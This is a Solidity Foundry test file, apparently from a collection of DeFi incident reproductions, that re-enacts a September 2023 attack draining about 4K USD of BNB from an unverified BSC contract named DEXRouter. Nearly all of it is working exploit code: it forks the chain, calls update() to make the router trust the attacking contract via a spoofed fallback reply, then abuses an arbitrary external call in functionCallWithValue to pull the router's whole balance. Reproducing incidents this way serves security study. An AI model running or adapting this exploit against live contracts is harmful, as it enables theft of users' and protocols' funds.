src/test/2023-09/DEXRouter_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~4K USD$
8// Attacker : https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e8
9// Attack Contract : https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f
10// Victim Contract : https://bscscan.com/address/0x1f7cf218b46e613d1ba54cac11dc1b5368d94fb7
11// Attack Tx : https://bscscan.com/tx/0xf77c5904da98d3d4a6e651d0846d35545ef5ca0b969132ae81a9c63e1efc2113
12 
13// @Analysis
14// https://twitter.com/DecurityHQ/status/1707851321909428688
15 
16interface IDEXRouter {
17    function update(address fcb, address bnb, address busd, address router) external;
18 
19    function functionCallWithValue(address target, bytes memory data, uint256 value) external;
20}
21 
22contract ContractTest is Test {
23    // Victim unverified contract. Name "DEXRouter" taken from parameter name in "go" function in attack contract
24    IDEXRouter private constant DEXRouter = IDEXRouter(0x1f7cF218B46e613D1BA54CaC11dC1b5368d94fb7);
25 
26    function setUp() public {
27        vm.createSelectFork("bsc", 32_161_325);
28        vm.label(address(DEXRouter), "DEXRouter");
29    }
30 
31    function testExploit() public {
32        deal(address(this), 0 ether);
33        emit log_named_decimal_uint("Attacker BNB balance before exploit", address(this).balance, 18);
34        // DEXRouter will call back to function with selector "0xe44a73b7". Look at fallback function
35        DEXRouter.update(address(this), address(this), address(this), address(this));
36 
37        // Arbitrary external call vulnerability here. DEXRouter will call back "a" payable function and next transfer BNB to this contract
38        DEXRouter.functionCallWithValue(address(this), abi.encodePacked(this.a.selector), address(DEXRouter).balance);
39 
40        emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18);
41    }
42 
43    function a() external payable returns (bool) {
44        return true;
45    }
46 
47    fallback(
48        bytes calldata data
49    ) external payable returns (bytes memory) {
50        if (bytes4(data) == bytes4(0xe44a73b7)) {
51            return abi.encode(true);
52        }
53    }
54}